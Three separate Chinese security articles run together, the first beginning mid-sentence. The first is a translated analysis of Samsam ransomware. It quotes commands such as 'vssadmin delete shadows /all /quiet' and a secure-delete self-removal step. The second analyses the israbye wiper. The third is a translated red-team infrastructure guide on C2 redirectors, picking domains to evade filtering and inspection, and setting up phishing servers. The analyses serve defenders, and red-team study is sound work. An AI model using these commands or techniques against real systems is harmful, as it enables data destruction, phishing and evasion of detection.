Intelligence™持续追踪。该恶意软件不同变种的感染链和执行流都不尽相同，我们会在本文中进行详细分析。该恶意软件使用外部工具（例如批处理脚本、Mimikatz和包括PsExec、Sdelete在内的系统内部实用程序）来实现勒索软件的传播和清除工作。在某些情况下，勒索软件会将加密方式与运行程序文件一同投递，其中的运行程序文件用于加载和执行内存中的恶意软件。此外，该恶意软件还具有反取证功能，分析人员如果想要从被感染的系统中恢复勒索软件Payload是有一定难度的。尽管恶意软件采取了一些措施来逃避检测，但使用Falcon
Prevent可以在该恶意软件家族对系统中文件进行加密之前及时地检测到这一行为并进行阻止。
## 二、感染过程
这种勒索软件家族的投递方法发生过多次变化。早期的勒索软件变种会使用凭据自动收集程序（例如Mimikatz）从活动目录（Active
Directory）中收集凭据，为列表中的每个用户生成RSA公钥，并将Payload与以下文件一起部署：
1、PSExec：系统内部实用工具中的一个合法工具，用于在远程系统上执行应用程序；
2、备份删除帮助程序：该文件负责遍历所有连接到被感染主机的驱动器，在这里（<https://docs.google.com/document/d/1FzJkhSsKV6vTLNewaduhwkum1WDfGjXg0zu4sU78O6M/edit#heading=h.gw8tkwt73pza>
对其进行了详细分析；
3、暴露的账户列表；
4、包含每个账户的唯一RSA公钥的文件夹；
5、四个批处理脚本，负责将文件复制到每台被感染主机，并加载Payload：
(1) 第一个文件：将Samsam的Payload和相应的公钥复制到%WINDIR%system32中，并执行命令“vssadmin delete
shadows /all /quiet”；
(2) 第二个文件：将备份删除帮助程序复制到C:Windows目录下；
(3) 第三个文件：利用psexec远程执行删除帮助程序；
(4) 第四个文件：利用psexec远程执行Payload，提供相应的公钥作为Payload的参数。
如上所述，公钥和备份删除命令都没有保存在Payload之中。在Samsam恶意软件的其他变种中，密钥和备份删除命令都嵌入在Payload之中。后者的投递机制与前者有很大不同。后者的变种并没有使用大量文件来部署Payload，而是使用了运行程序和批处理脚本来进行相应的加密和部署，具体如下：
1、运行程序：负责解密和加载Payload，在这里（
<https://docs.google.com/document/d/1FzJkhSsKV6vTLNewaduhwkum1WDfGjXg0zu4sU78O6M/edit#heading=h.nb6vvs2dujx9>
）对其进行了详细分析；
2、批处理脚本：加载运行程序文件，并向其提供以下参数：
(1) <password>：用于解密和加密Payload；
(2) <path>：被解密的Payload用于投放附加文件；
(3) <totalprice>：被解密的Payload使用，动态生成启动画面；
(4) <priceperhost>：被解密的Payload使用，动态生成启动画面。
在一些Samsam变种中，也有独立的Payload，不需要任何参数或帮助程序。
如前所述，Payload可以通过多种方式传递并加载到系统中。我们后面将更加详细地对Payload和一些帮助程序文件展开分析。
## 三、技术分析
### 备份删除帮助程序
该文件负责对被感染计算机上的文件系统进行遍历，并将其目标放在与数据备份相关扩展名的文件上（详见附录A）。该程序的目的是确保系统上的文件被加密后，无法使用备份来恢复文件。在这里需要注意，如果计算机连接了任何共享驱动器，该程序也将删除这些文件夹中的相应程序。
在被批处理脚本加载之后，该文件将递归遍历全部驱动器中的每个目录。如果目录名称包含字符串“backup”，程序就将会进一步遍历该目录中的所有文件，并执行以下操作：
1、将文件属性设置为FILE_ATTRIBUTE_NORMAL，这样就能确保文件可以被删除，而不会引发异常；
2、在设置文件属性后，逐一删除文件；
3、在所有文件都被删除后，删除目录本身。
对于所有其他目录，一旦找到目标文件，程序就会通过执行以下操作，来确保它可以删除该文件：
1、检查文件是否被锁定，确保没有句柄到进程访问的文件，这样文件可以在READ模式下打开。如果检查通过，就将该文件删除。
2、如果上述检查失败，程序将结束与该文件关联的进程。
(1) 通过以下命令，调用tasklist.exe，在系统上生成正在运行进程的列表：tasklist /v /fo csv
(2) 查找列表，寻找与该文件名相同的进程。如果找到，将使用以下命令调用taskkill.exe来终止进程：taskkill /f /pid
<目标进程的进程ID >
一旦该进程被终止，相应的文件就会被删除。
以下是tasklist命令输出的部分结果：
### 运行程序
运行程序负责解密并加载内存中的Payload。该文件需要密码作为参数，用于解密过程。一旦由批处理脚本加载后，运行程序将在当前工作目录内查找扩展名为“.stubbin”的文件。该文件是实际加密后的Payload，一旦找到后，运行程序将读取内存中的内容，并立即从磁盘上删除加密的.stubbin文件。事实上，Payload会被解密，并完全加载到内存中，这样就导致难以恢复解密的勒索软件Payload。
一旦内容被读取，运行程序会使用Rijndael算法对其进行解密。该算法需要首先输入密码和盐（Salt），从而生成解密密钥和初始化向量（IV）。其中，盐的值为“Ivan
Medvedev”，该值在使用此算法的多个二进制文件（包括合法文件和恶意文件）中都有出现过。有了这两个输入，运行程序会生成一个32字节的密钥和16字节的初始化向量（IV），然后使用它来对Payload进行解密。需要注意的是，从批处理文件传递的任何附加参数都将传递给解密的Payload。运行程序随后负责调用Payload的入口点，从而在内存中执行。
我们分析了多个变种中的Payload，其中的一个主要区别是RSA公钥是否嵌入在Payload之中。如前所述，负责加载Payload的批处理脚本会将公钥以参数的方式传递给它，然后将其读取到变量之中，以备后续在执行过程中使用。本节将详细解释勒索软件是如何加密被感染主机上的文件的。
### 提取资源
在加载后，Samsam首先解析其自身的资源部分，并提取资源名称。针对每个名称，它会确保扩展名为“.exe”，并检查当前目录中是否有与资源名称相同的文件。如果存在，它将从磁盘中删除该文件，并以4096字节的块为单位，读取资源部分的内容并将其写入到当前目录之中。截至目前，在完成提取过程后，我们最多可以看到两个不同的文件：selfdel.exe和del.exe。在这里需要注意，在击杀链的早期阶段，我们可以将当前目录下具有静态名称的这两个文件作为检测目标，检测其投放的特定活动。
在文件被写入磁盘后，Payload会启动一个新的线程来执行selfdel.exe，我们稍后在“自我删除”这一节中会进行更详细地分析。接下来，Payload将递归遍历所有连接到被感染主机的驱动器中的所有目录。
### 文件系统遍历
Payload在进行遍历搜索文件时，会跳过如下目录：
C:Windows
Reference AssembliesMicrosoft
Recycle.bin
其原因是为了确保执行流的顺畅。由于C:Windows目录下都是系统文件，.NET框架所需的文件都在Reference
AssembliesMicrosoft目录下，因此就无需再对这些文件夹进行搜索。而至于回收站Recycle.bin，我们推测可能是因为绝大多数勒索软件首先都会对该目录进行遍历搜索，因此一些安全防护产品会通过检测对该目录的遍历来发现恶意软件行为，所以在该恶意软件中就跳过了这一目录。通过跳过Recycle.bin，Samsam可以避开这种检测方法，并继续对文件进行加密。
附录A中列出了Samsam的目标文件扩展名列表。当恶意软件找到列表中扩展名的文件时，会判断文件大小。如果文件不大于100MB（104857600字节），那么Payload会立即调用加密子例程。如果文件大于100MB，会进行如下判断和操作：
1、如果文件>100MB且<=250MB，它会将文件的完整路径附加到列表mylist250中；
2、如果文件>250MB且<=500MB，它会将文件的完整路径附加到列表mylist500中；
3、如果文件>500MB且<=1GB，它会将文件的完整路径附加到列表mylist1000中；
4、如果文件>1GB，它会将文件的完整路径附加到列表mylistbig中。
所有不大于100MB的目标文件会首先被加密，随后Payload再对这些列表中的文件进行加密。这一设计可能是为了防止勒索软件进程被提早终止，希望能够尽可能多地加密文件。在加密完所有不大于100MB的文件后，恶意软件也会按照列表的先后顺序，先加密mylist250中的文件，然后是mylist500，之后是mylist1000，最后是mylistbig。一旦上述所有文件都成功被加密，Payload将会清除内存中的这些列表。
在Samsam的其他一些变种中，不存在这种按照文件大小分批加密的行为。这些变种只使用一个列表，来记录连接到被感染主机的所有驱动器中的所有目标文件。随后，会调用文件加密子例程，对其进行加密。
### 文件加密过程
对于每个文件，Payload会执行以下检查：
1、当前文件的大小是否小于驱动器的可用空间，如果小于，Payload将会跳过此文件，开始处理下一个文件；
2、当前文件的大小是否大于0；
3、公钥变量是否为空，如果没有公钥，那么就无法进行加密。
如果上述的任何一个检查不符合条件，Payload都会跳到处理下一个文件。
接下来，我们发现有两类不同的变种，它们的加密方式也有所不同。
### 变种A
对于每个文件，子例程首先检查当前目录中是否存在名为<目标文件名>.<加密后扩展名>的文件，加密后文件的扩展名始终是“.encryptedRSA”。如果存在，则执行以下步骤：
(1)
检查.encryptedRSA文件的大小。如果该文件大小大于目标文件，则子例程将会删除目标文件，并开始处理下一个文件。在这里，如果满足条件，就假设该文件已经被Samsam加密，因此就删除了原始目标文件。
(2)
如果.encryptedRSA文件大小小于或等于目标文件，子例程将删除.encryptedRSA文件。由于实际加密会导致生成的文件大小大于原始文件，因此.encryptedRSA文件大小必然会大于目标文件。在这里，如果满足条件，就假设该.encryptedRSA文件不是实际加密的文件，并对其进行删除。在删除之后，目标文件会立即被加密。
### 变种B
如果子例程找到名为<目标文件名>.encryptedRSA的文件，则立即跳过该目标文件。它不会对加密后文件的大小进行检查，也没有尝试删除任何目标文件。请注意，子例程会跳到下一个文件，从而让当前文件保持不变，这一点非常重要。也就意味着，如果系统中每个文件，都相应创建了扩展名为“.encryptedRSA”的任意大小文件，那么恶意软件就不会对其进行加密，而是直接跳过。我们在分析过程中进行了实际测试，并确认了这一结论的正确性。
### 文件加密方式
恶意软件Samsam使用AES标准来加密文件。针对每个文件，它会生成一个随机的64字节签名秘钥（Signaturekey）、一个16字节秘钥和一个16字节初始化向量（IV）。恶意软件还会创建一个以“<target
filename>.encryptedRSA”为名称的空文件，并向其中写入3072个NULL字节。在稍后的执行流程中，该文件将作为生成的加密文件中头部占位符。然后，Payload通过使用重启管理器API（Restart
Manager API）以确定当前运行的进程或服务是否对目标文件存在打开的句柄。详细步骤如下：
1、调用RmStartSession，启动一个新的会话管理器，从而为新会话提供了会话句柄；
2、RmRegisterResources使用该句柄，将目标文件注册为新会话的资源；
3、RmGetList使用该句柄来获取当前正在使用的资源（目标文件）的进程列表；
4、会话管理器以RmEndSession结束；
5、针对所有锁定目标文件的进程，将其进程ID附加到一个文件中，然后将文件传递给一个负责终止这些进程的子例程。
一旦目标文件句柄从其他进程中释放，加密子例程就会以每次读取10KB（10240字节）的块的方式，读取其在内存缓冲区中的内容。接下来，子例程使用AES（CBC模式）加密缓冲区中的内容，并将其写入到.encryptedRSA文件中第3073字节之后（头部占位符之后）的位置。在当前文件加密完成后，就会生成新的文件头。
### 文件头
恶意软件使用一个随机生成的签名秘钥，针对加密内容，生成其基于哈希的消息认证码（HMAC）散列。并将该值与inArray一起以Base64编码，写入到文件头之中。以下是文件头的具体结构：
<MtAeSKeYForFile>
<Key>：包含随机生成的以RSA公钥加密的16字节秘钥，并使用Base64编码</Key>
<IV>：包含随机生成的16字节初始化向量，以相同的方式加密和编码</IV>
<Value>：包含前面提到过的inArray </Value>
<EncryptedKey>：包含64字节签名秘钥，该签名秘钥是随机生成的，以相同方式加密和编码</Encrypted>
<OriginalFileLength>：包含原始目标文件的文件大小</OriginalFileLength>
</MtAeSKeYForFile>
相应的RSA私钥将负责解密文件头中的每个值，并解密文件内容。以下是一个被Samsam恶意软件加密的文件中的文件头：
当文件加密后，原始文件将被从磁盘中删除。
### 投放赎金通知
在每个文件被加密后，Payload将在当前目录中投放一个名为“HELP_DECRYPT_YOUR_FILES”的文本文件，下图为该文本文件的内容：
在某些情况下，具有相同内容的HELP_DECRYPT_YOUR_FILES.html也会被投放在当前目录中。Samsam恶意软件的所有变种都有一个奇怪的行为，针对每个被加密的文件都会投放一次赎金通知。因此，在多个文件被加密的目录中，会出现多个该文本文件或HTML文件。
### 自我删除
如前文所说，Payload会解析其资源部分，提取两个可执行文件，并将其写入到当前目录。这两个可执行文件的详情如下：
文件名：selfdel.exe
大小：5632
MD5：710A45E007502B8F42A27EE05DCD2FBA
SHA256： 32445C921079AA3E26A376D70EF6550BAFEB1F6B0B7037EF152553BB5DAD116F
编译：Wed, Dec 2 2015, 22:24:42 – 32 Bit .NET AnyCPU EXE
版本：1.0.0.0
文件名：del.exe
大小：155736
MD5：E189B5CE11618BB7880E9B09D53A588F
SHA256： 97D27E1225B472A63C88AC9CFB813019B72598B9DD2D70FE93F324F7D034FB95
编译：Sat, Jan 14 2012, 23:06:53 – 32 Bit EXE
版本：1.61
签名：有效
主体：Microsoft Corporation
发布者：Microsoft Code Signing PCA
内部名称：sdelete
产品名称：Sysinternal Sdelete
可执行文件del.exe是一个合法的系统内部程序，用于从磁盘中删除文件。可执行文件selfdel.exe则是由Payload在新线程中调用。它首先会检查名为samsa.exe的进程是否正在执行，如果不是，则会立即退出。接下来，等待3秒钟，然后执行以下命令：del.exe
-p 16
samsam.exe。该命令会调用合法的实用程序del.exe，从而从磁盘中删除samsam.exe。然而，删除文件的操作只会标记相应的MFT表，实际的文件内容仍然保留。为了解决这一问题，实用工具会对硬盘上的相应位置进行覆盖，“-p
16”参数表示覆盖16次，这样就确保没有任何途径能对已经删除的samsam.exe进行恢复。这一技术只适用于独立Payload的变种，不适用于使用运行程序解密并执行内存中Payload的变种。
一旦Payload被删除，selfdel.exe会休眠30秒，然后从磁盘中删除del.exe。该可执行文件不会删除其自身。
## 四、总结
Samsam恶意软件会收集用户凭据，生成唯一的RSA公钥，以确保每个受感染用户能够通过付费来解密文件。此外，该恶意软件的一些变种会对可执行文件进行清除，另一些变种完全在内存中运行，因此分析人员难以从磁盘上或内存中收集到其Payload。因此，这是一个非常有分析价值的恶意软件。
## 五、附录A
###
### 目标备份文件扩展名列表
.abk, .ac, .back, .backup, .backupdb, .bak, .bb, .bk, .bkc, .bke, .bkf, .bkn,
.bkp, .bpp, .bup, .cvt, .dbk, .dtb, .fb, .fbw, .fkc, .jou, .mbk, .old, .rpb,
.sav, .sbk, .sik, .spf, .spi, .swp, .tbk, .tib, .tjl, .umb, .vbk, .vib, .vmdk,
.vrb, .wbk
###
### 目标扩展名
.jin, .xls, .xlsx, .pdf, .doc, .docx, .ppt, .pptx, .log, .txt, .gif, .png,
.conf, .data, .dat, .dwg, .asp, .aspx, .html, .tif, .htm, .php, .jpg, .jsp,
.js, .cnf, .cs, .vb, .vbs, .mdb, .mdf, .bak, .bkf, .java, .jar, .war, .pem,
.pfx, .rtf, .pst, .dbx, .mp3, .mp4, .mpg, .bin, .nvram, .vmdk, .vmsd, .vmx,
.vmxf, .vmsn, .vmem, .gz, .3dm, .3ds, .zip, .rar, .3fr, .3g2, .3gp, .3pr, .7z,
.ab4, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .ads, .agdl,
.ai, .ait, .al, .apj, .arw, .asf, .asm, .asx, .avi, .awg, .back, .backup,
.backupdb, .pbl, .bank, .bay, .bdb, .bgt, .bik, .bkp, .blend, .bpw, .c, .cdf,
.cab, .chm, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer,
.cfp, .cgm, .cib, .class, .cls, .cmt, .cpi, .cpp, .cr2, .craw, .crt, .crw,
.csh, .csl, .csv, .dac, .db, .db3, .dbf, .db-journal, .dc2, .dcr, .dcs, .ddd,
.ddoc, .ddrw, .dds, .der, .des, .design, .dgc, .djvu, .dng, .dot, .docm,
.dotm, .dotx, .drf, .drw, .dtd, .dxb, .dxf, .jse, .dxg, .eml, .eps, .erbsql,
.erf, .exf, .fdb, .ffd, .fff, .fh, .fmb, .fhd, .fla, .flac, .flv, .fpx, .fxg,
.gray, .grey, .gry, .h, .hbk, .hpp, .ibank, .ibd, .ibz, .idx, .iif, .iiq,
.incpas, .indd, .jpe, .jpeg, .kc2, .kdbx, .kdc, .key, .kpdx, .lua, .m, .m4v,
.max, .mdc, .mef, .mfw, .mmw, .moneywell, .mos, .mov, .mrw, .msg, .myd, .nd,
.ndd, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nwb,
.nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt,
.oil, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab,
.pages, .pas, .pat, .pcd, .pct, .pdb, .pdd, .pef, .pl, .plc, .pot, .potm,
.potx, .ppam, .pps, .ppsm, .ppsx, .pptm, .prf, .ps, .psafe3, .psd, .pspimage,
.ptx, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .r3d, .raf, .rat, .raw,
.rdb, .rm, .rw2, .rwl, .rwz, .s3db, .sas7bdat, .say, .sd0, .sda, .sdf, .sldm,
.sldx, .sql, .sqlite, .sqlite3, .sqlitedb, .sr2, .srf, .srt, .srw, .st4, .st5,
.st6, .st7, .st8, .std, .sti, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi,
.sxi, .sxm, .sxw, .tex, .tga, .thm, .tlg, .vob, .wallet, .wav, .wb2, .wmv,
.wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xlsb, .xlsm,
.xlt, .xltm, .xltx, .xlw, .ycbcra, .yuv
原文链接：<https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/> | 社区文章 |
# 【病毒分析】假勒索真愤青：永久摧毁文件的israbye病毒分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
****
近期，360安全中心发现国内流入一款名为israbye的“伪勒索病毒”。与普通勒索病毒完全不同的是，israbye会 **彻底摧毁文件**
，即使付钱也无法恢复。而且，病毒想要的也根本不是钱。
**一探究竟**
****
该病毒在受害电脑展示的信息称可保证免费恢复文件，但前提是——“ **等他们收复巴勒斯坦，收复艾克萨……**
”此病毒的传播目的似乎是为了传递某种主张。上述信息除了英文版本外，还罕见地对应了一段希伯来语，再结合“END OF
ISRAEL（以色列的终结）”的标题，并不是以钱财为目的的勒索病毒。
值得注意的是，被israbye病毒破坏的文件也不存在恢复的可能性。它会把文件内容将统一替换成“Fuck-israel, *** You Will never
Recover your Files Until Israel
disepeare”（其中星号为病毒从中毒机器中获取的用户名），而文件后缀则被更改为.israbye。这种方式下“加密”的文件，终究是等不到恢复的那一天的。
此病毒使用VS2012编写，从病毒程序中记录的pdb信息来看，病毒作者的用户名为Ahmed：
执行后，病毒首先会获取系统的启动目录和临时目录，并将自身复制到临时目录下命名为ClickMe.exe，之后向启动目录下释放 **cry.exe** 、
**cur.exe** 、 **lock.exe** 、 **index.exe** 四个程序：
释放完成后，先加密当前用户目录，之后再遍历磁盘电脑所有盘符，循环加密所有文件（循环从1开始，即跳过C盘不加密）：
最后就是启动刚刚释放的四个程序并删除自身：
病毒释放的四个衍生程序也是各司其职，工作比较单一。
衍生物cry.exe负责调用修改壁纸：
衍生物cur.exe负责在鼠标指针后添加一个“ **END OF ISRAEL** ”的小尾巴
衍生物index.exe负责弹出信息说明窗口，并释放并播放一段bgm
衍生物lock.exe则负责“解决掉”一些分析人员的常用工具，同时启动上面的index.exe和病毒主程序“ClickMe.exe”
**真相大白**
****
最后，我们回到病毒母体的加密函数部分，这也就是我们称其为“伪勒索病毒”的关键点——病毒实际上根本就没有“加密”你的文件，仅仅是将文件内容替换为“Fuck-israel, *** You Will never Recover your Files Until Israel disepeare”而已。
由此可见，虽然病毒声称要等到以色列毁灭（Israel
disepeare）的那一天才能恢复你的文件，但很显然以这样的方式来“加密”文件，是无论等到哪一天都无法恢复的。
据360安全卫士监控的数据，israbye病毒在国内传播量很小，但如果不慎中招就会遭遇数据永久损坏的严重后果。360安全卫士已第一时间拦截查杀此病毒，建议用户保持安全软件开启，就能够避免中招。 | 社区文章 |
原文地址：[Red-Team-Infrastructure-Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)
译者：[MyKings](https://github.com/MyKings)
* 设计注意事项 (Design Considerations)
* 功能分离 (Functional Segregation)
* 使用转向器 (Using Redirectors)
* 设计举例 (Sample Design)
* 更多资源 (Further Resources)
* 域名 (Domains)
* 分类和黑名单检查资源列表 (Categorization and Blacklist Checking Resources)
* 钓鱼 (Phishing)
* 基于 Web 的钓鱼 (Easy Web-Based Phishing)
* Cobalt Strike 钓鱼 (Cobalt Strike Phishing)
* 网络钓鱼框架 (Phishing Frameworks)
* 转向器 (Redirectors)
* SMTP 协议 (SMTP)
* Sendmail 软件 (Sendmail)
* 移除之前的服务器头 (Remove previous server headers)
* 配置一个通用地址 (Configure a catch-all address)
* Postfix 软件 (Postfix)
* DNS 协议 (DNS)
* socat 之 DNS (socat for DNS)
* iptables 之 DNS (iptables for DNS)
* HTTP[S] 协议 (HTTP[S])
* socat 与 mod_rewrite (socat vs mod_rewrite)
* socat 之 HTTP (socat for HTTP)
* iptables 之 HTTP (iptables for HTTP)
* ssh 之 HTTP (ssh for HTTP)
* Payloads 和 Web 重定向 (Payloads and Web Redirection)
* C2 重定向 (C2 Redirection)
* C2 使用 HTTPS 重定向 (C2 with HTTPS)
* 其他 Apache mod_rewrite 资源 (Other Apache mod_rewrite Resources)
* 修改 C2 流量 (Modifying C2 Traffic)
* Cobalt Strike
* Empire
* 第三方 C2 频道 ([Third-Party C2 Channels)
* Domain Fronting 技术 (Domain Fronting)
* Domain Fronting 更多参考 (Further Resources on Domain Fronting)
* PaaS 重定向 (PaaS Redirectors)
* 其他第三方 C2 (Other Third-Party C2)
* 隐蔽基础设施 (Obscuring Infrastructure)
* 保护基础设施 (Securing Infrastructure)
* 自动部署 (Automating Deployments)
* 提示&建议 (General Tips)
* 感谢列表 (Thanks to Contributors)
## 一、设计注意事项
### 1.1 功能分离
在设计红队的网络基础设施架构时，要考虑到否能够提供长期（数周、数月、数年）和稳定的响应服务，这要根据功能来拆分每个资产服务，这一点非常重要。当网络对抗中的资产服务被(蓝队)发现时，将会造成对方的警觉。
而功能分离的好处是当红队的网络钓鱼电子邮件评估系统被识别出来时，红队只需要重新创建一个新的`SMTP`服务器和`Payload`主机即可，而不是重新搭建整套网络的基础设施。
**在不同资产(服务器)上分离这些功能：**
* SMTP 钓鱼
* 钓鱼使用的 Payloads
* 长期的 C2(Command and Control)
* 短期的 C2(Command and Control)
每次社工活动都可能需要这些功能，由于红队具有主动出击的特性，所以每一次活动都需要重新部署一套新的基础设施(功能资产模块化)。
### 1.2 使用转向器
为了进一步提高系统弹性和隐蔽性，每个后端资产(即团队服务器)都应该在其前面放置一个转向器(redirector)。
这样的目的是保证目标和我们的后端服务器之间间接的建立连接。
这种方式有两种好处：1.是能够解耦各个功能资产服务；2.是能够达到隐蔽效果。当某一个资产服务被蓝队发现时，无需部署整套后端服务，便可进行迁移会话、重连接后端的未焚毁的资产等。
**常见的转向器(redirector)类型:**
* SMTP
* Payloads
* Web 流量
* C2 (HTTP[S]、DNS、等)
每个转向器(redirector)类型都有多个最适合不同场景的实现选项。 这些选项将在本文的转向器部分进一步详细讨论。
这里的转向器(redirector)可以是`VPS`主机、专用服务器、甚至是在 `PaaS` 上运行的应用程序。
### 1.3 设计举例
下面这个样例，使用了功能分离和转向器(redirector)的设计思路。其中`LT DNS C2`代表长期的 DNS C2 服务； `ST DNS
C2`代表短期的 DNS C2 服务；`ST HTTP C2` 代表短期的 HTTP C2 服务。
### 1.4 更多资源
* [A Vision for Distributed Red Team Operations - Raphael Mudge (@armitagehacker)](https://blog.cobaltstrike.com/2013/02/12/a-vision-for-distributed-red-team-operations/)
* [Infrastructure for Ongoing Red Team Operations - Raphael Mudge](https://blog.cobaltstrike.com/2014/09/09/infrastructure-for-ongoing-red-team-operations/)
* [Advanced Threat Tactics (2 of 9): Infrastructure - Raphael Mudge](https://www.youtube.com/watch?v=3gBJOJb8Oi0)
* [Cloud-based Redirectors for Distributed Hacking - Raphael Mudge](https://blog.cobaltstrike.com/2014/01/14/cloud-based-redirectors-for-distributed-hacking/)
* [6 Red Team Infrastructure Tips - Alex Rymdeko-Harvey (@killswitch-gui)](https://cybersyndicates.com/2016/11/top-red-team-tips/)
* [How to Build a C2 Infrastructure with Digital Ocean – Part 1 - Lee Kagan (@invokethreatguy)](https://www.blackhillsinfosec.com/build-c2-infrastructure-digital-ocean-part-1/)
* [Automated Red Team Infrastructure Deployment with Terraform - Part 1 - Rasta Mouse (@_RastaMouse)](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/)
## 二、域名
根据目标所使用的产品及其构造，来选择具有迷惑性的域名至关重要。
由于，选择一个适用于你目标的域名是非常繁琐和“无规矩”可寻的。OSINT(开源情报收集)可以更好的帮助推测管理所需要的资源，这个很重要（开源情报的重要与便利性）。
庆幸的是域名商也需要知道域名的状态与资产信息，并且他们提供了一些查询接口，这也会我们创建了一些便利的条件。
[expireddomains.net](http://expireddomains.net) 是一个收集最近过期或已丢弃域名的引擎。
它提供了搜索和高级过滤，例如：到期时间、反向链接数量、archive.org快照数量、[SimilarWeb](https://www.similarweb.com/)
分数。 使用 SimilarWeb
网站，我们可以注册预先使用的域，这些域将与目标域名的年份相同，会使它看起来与我们的目标域类似，使他融入我们的目标网络来迷惑对手。
在为 C2 或数据回传选择域时，请优先考虑“财务”或“医疗保健”域的分类。由于法律或数据敏感性问题原因，许多组织不会在这些分类中执行 SSL
中间人。请确保你选择的域名与之前的任何恶意软件或网络钓鱼系列没有关联也很重要。
Charles Hamilton([@
MrUn1k0d3r](https://twitter.com/mrun1k0d3r))的工具[CatMyFish](https://github.com/Mr-Un1k0d3r/CatMyFish)会自动执行 `expireddomains.net`
的搜索，并且会使用`bluecoat.com`来检查网站的所属分类。你可以对过滤器进行修改，以便搜索更多内容，你还可以利用它来长期监控你的注册资产(域名资产)。
Joe Vest([@joevest](https://twitter.com/joevest)) 和 Andrew
Chiles([@andrewchiles](http://twitter.com/andrewchiles))提供了另一个工具[DomainHunter](https://github.com/minisllc/domainhunter)，它会返回一个表格，主要内容包括
`BlueCoat`、`IBM X-Force`和`Cisco
Talos`中查询出的分类，域名年龄、可用的TLDs、Archive.org链接和HTML报告等信息。
此外，它使用`malwaredomains.com`和`mxtoolbox.com`来检查域名是否存在已知的恶意软件和网络钓鱼活动，该工具还包括了绕过`BlueCoat/WebPulse`验证码的`OCR`功能([查看该工具更多详细信息](http://threatexpress.com/2017/03/leveraging-expired-domains-for-red-team-engagements/))。
_（上图为译者提供）_
[Max
Harle](https://twitter.com/@Max_68)的另一个工具[AIRMASTER](https://github.com/t94j0/AIRMASTER)使用
`expireddomains.net`和`Bluecoat`来查找域名的分类。该工具使用`OCR`绕过`BlueCoat`验证码来提高搜索速度。
如果以前注册的域名不可用(域名分类不正确或不理想)，或者使用自己注册的域名(域名没有进行分类)时，你可以克隆或重定向到一个相似分类的域名上，然后在手动提交你的域名分类。你可以使用[Dominic
Chell](https://twitter.com/domchell)开发的[Chameleon](https://github.com/mdsecactivebreach/Chameleon)工具。大多数产品在确认域名的分类时，都会忽略重定向或克隆的网站内容。
有关Chameleon使用的更多信息，请查看Dominic的帖子[ Categorisation is not a security
boundary](https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/)。
最后，确保你的`DNS`设置正确, 这里可以借助 [DNS Propogation Checker](https://dnschecker.org/)
来检验。
### 2.1 分类和黑名单检查资源列表
* [McAfee](https://trustedsource.org/en/feedback/url?action=checksingle)
* [Fortiguard](http://www.fortiguard.com/iprep)
* [Symantec + BlueCoat](http://sitereview.bluecoat.com/sitereview.jsp)
* [Checkpoint (requires free account)](https://www.checkpoint.com/urlcat/main.htm)
* [Palo Alto](https://urlfiltering.paloaltonetworks.com/)
* [Sophos (submission only; no checking)](https://secure2.sophos.com/en-us/support/contact-support.aspx) \- Click Submit a Sample -> Web Address
* [TrendMicro](https://global.sitesafety.trendmicro.com/)
* [Brightcloud](http://www.brightcloud.com/tools/url-ip-lookup.php)
* [Websense (Forcepoint)](http://csi.websense.com/)
* [Lightspeed Systems](https://archive.lightspeedsystems.com/)
* [Chameleon](https://github.com/mdsecactivebreach/Chameleon)
* [SenderBase](https://www.senderbase.org/)
* [MultiBL](http://multirbl.valli.org/)
* [MXToolBox - Blacklists](https://mxtoolbox.com/blacklists.aspx)
## 三、网络钓鱼设置
### 3.1 基于 Web 的钓鱼
简单操作和网络钓鱼似乎不可同时兼得，建立一个适当的网络钓鱼基础设施可能是一个非常痛苦的事。
这里将为你提供快速设置一个钓鱼服务器的知识和工具，该服务器可以绕过大多数垃圾邮件过滤器，并为你提供一个简单的网络钓鱼体验，包括与你的目标进行双向通信的`RoundCube`界面。
网上有很多设置网络钓鱼的方法，这里只是其中的一种。
一旦你的域名通过了上面的设置与检查，并且你的钓鱼服务器已启动，那么首先你需要为你的域名创建一条“A”记录，如图所示。
接下来，进入你的钓鱼服务器并确保你的`/etc/hosts`中列出了正确的`FQDN`主机名。 示例: `127.0.0.1
mail.yourphishingserver.com mail localhost`
现在，你只需几个简单的步骤即可安装网络前端来进行网络钓鱼。首先下载[iRedMail](http://www.iredmail.org/download.html)的最新版本到你的钓鱼服务器上，并解压`tar
-xvf iRedMail-0.9.8.tar.bz2`。进入到解压后的文件夹，并为`iRedMail.sh`脚本添加可执行权限（`chmod +x
iRedMail.sh`）以`root`用户身份执行脚本，按照提示操作，然后重新启动服务器。
你需要确保你的邮件服务器拥有所有正确的`DNS`记录（相关记录设置请参考<https://docs.iredmail.org/setup.dns.html>）。对于
DKIM（DomainKeys Identified Mail，域名密钥识别邮件）使用命令`amavisd-new
showkeys`来列出你的`DKIM`密钥。
_（上图为译者提供）_
对于`DMARC`(Domain-based Message Authentication Reporting and Conformance,
基于域的消息认证报告一致性)我们可以使用<https://www.unlocktheinbox.com/dmarcwizard/>在线生成我们的`DMARC`条目。
现在，创建一个用户进行钓鱼。
登录到`RoundCube`界面, 使用新用户开始钓鱼吧！
### 3.2 Cobalt Strike 钓鱼
`Cobalt Strike`提供可自定义的钓鱼功能来帮助`Pentest(渗透测试)`和红队。它支持 HTML
和纯文本(plaintext)格式的模板、附件、反弹地址、URL 嵌入、使用远程 SMTP 服务器以及每条消息延迟发送。你还可以为每个用户嵌入的 URL
添加唯一标记以进行点击跟踪。
有关更多详细信息，请查看以下资源：
* [Cobalt Strike - Spear Phishing documentation](https://www.cobaltstrike.com/help-spear-phish)
